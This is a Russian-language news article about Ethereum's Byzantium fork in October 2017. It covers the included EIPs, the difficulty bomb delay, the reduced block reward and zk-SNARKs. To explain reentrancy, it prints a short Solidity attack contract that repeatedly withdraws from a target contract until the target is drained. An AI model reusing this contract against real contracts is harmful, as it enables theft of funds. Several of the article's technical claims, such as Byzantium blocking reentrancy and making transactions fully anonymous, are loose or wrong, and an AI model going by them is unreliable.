Виталик Бутерин с друзьями отмечают успешный форк Byzantium. 16 октября 2017 года
16 октября 2017 года в 05:22 UTC произошёл пятый форк в истории системы Ethereum — второй по популярности криптовалюты на мировом рынке после биткоина. Капитализация Ethereum особенно выросла в последние месяцы, на волне ошеломляющего роста популярности токенов ICO, которые используют стандарт токенов Ethereum ERC-20.
Апгрейд программного обеспечения нельзя назвать полностью удачным. В последние несколько дней софт Ethereum с поддержкой Byzantium неоднократно отзывался из-за серьёзных багов. Разработчики (на фото вверху) спешили, чтобы уложиться в срок перед запланированным форком. Не все верили, что они успеют: кое-кто высказывал мнение, что с такими серьёзными багами форк лучше отложить на несколько дней. Но нет. Обновление Byzantium состоялось по плану.
Byzantium и будущий Constantinople — две части большого обновления Metropolis. Это самое крупное из всех апгрейдов системы Ethereum, заранее предусмотренных в 2015 году, когда был составлен план развития Ethereum.
Byzantium
Byzantium включает в себя девять протоколов улучшения Ethereum (Ethereum improvement protocols, EIP), то есть девять отдельных патчей. Среди них — исправление проблем с подстройкой сложности, операциями REVERT, операциями STATIC CALL, функция задержки сложности и вставка в квитанцию данных возврата транзакции. Вот полный список изменений: EIP 100, EIP 140, EIP 196, EIP 197, EIP 198, EIP 211, EIP 214, EIP 649, EIP 658.
Все эти патчи должны улучшить эффективность работы сети и снизить риски применения эксплоитов. Большинство из них привносит довольно минорные изменения, которые не сразу очевидны для тех, кто не участвует в разработке протокола. Но есть и довольно важные изменения.
Например, одно из них связано с обработкой сбойного кода в умных контрактах. Платёж не пройдёт, если имеются программистские ошибки, и может произойти запрограммированное действие, в зависимости от типа ошибки. Кроме того, этот патч вносит изменения в жизненный цикл контракта. Так, теперь обновления контракта можно заранее запрограммировать, то есть сконфигурировать в изначальном коде.
Кроме того, контракты получают лучшую защиту. Разработаны специальные меры, которые защищают от потенциальных атак повторной входимости (reentrancy аttack). Если кто-то не встречался с атаками повторной входимости, то посмотрите на код такого контракта:
pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
function kill () {
suicide(msg.sender);
}
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}
Здесь мы видим, как организуется атака с повторным вхождением. Контракт
HoneyPot
будет непрерывно высылать монеты на адрес HoneyPotCollect
, пока у него есть деньги, до тех пор, пока полностью не опустошится.Такой код можно внедрять в чужие контракты, от чего патчи Byzantium пытаются защитить систему.
Новая функция вставки в квитанцию данных возврата транзакции позволяет лёгким клиентам определять успешность транзакции без реального её выполнения в виртуальной машине Ethereum.
Другой патч EIP 649 откладывает срок применения «бомбы сложности» с переходом на доказательства владения (PoS), которые делают майнинг бессмысленным. Он должен защитить от того, что время выполнения транзакции станет слишком большим (сейчас транзакции эфира проходят за 25 секунд, что гораздо больше заявленного для Ethereum стандарта в 10 секунд). Этот патч также должен уменьшить вознаграждение майнерам за блоки с 5 ETH до 3 ETH, ускорить и удешевить майнинг.
Ещё один патч исправляет ошибку в алгоритме изменения сложности майнинга, так что теперь скорость вычисления блока станет более стабильной.
Наконец, в составе Byzantium представлено нечто под названием zk-SNARK (zero-knowledge Succinct Non-interactive ARgument of Knowledge) — подтверждения транзакций с нулевым знанием, фундамент протокола анонимной криптосистемы Zcash. Теперь и в Ethereum станут доступны абсолютно анонимные приватные транзакции.
Следующим после Byzantium по плану должно состояться обновление Constantinople, вторая часть апгрейда Metropolis. Там будет представлено ещё больше изменений и исправят новые баги, которые наверняка вылезут в будущем после текущих обновлений. Система находится только начальном этапе развития, и пока что в ней слишком много дыр. Но постепенно эти дыры закрываются, так что находить новые эксплоиты становится всё сложнее.
Нынешний форк — первый, который проводится в условиях широкого общественного интереса и большой популярности Ethereum, поэтому к нему приковано особое внимание. Судя по логу форка, майнинг в старой цепочке блоков прекратился. Все перешли в новую. И курс Ethereum практически восстановился после некоторого обвала в преддверии форка.
В общем, всё прошло удачно. И разработчики Ethereum вместе с Виталиком уже отметили это событие в интимной обстановке, то есть дома рядом со столом с поднятыми в воздух вилками.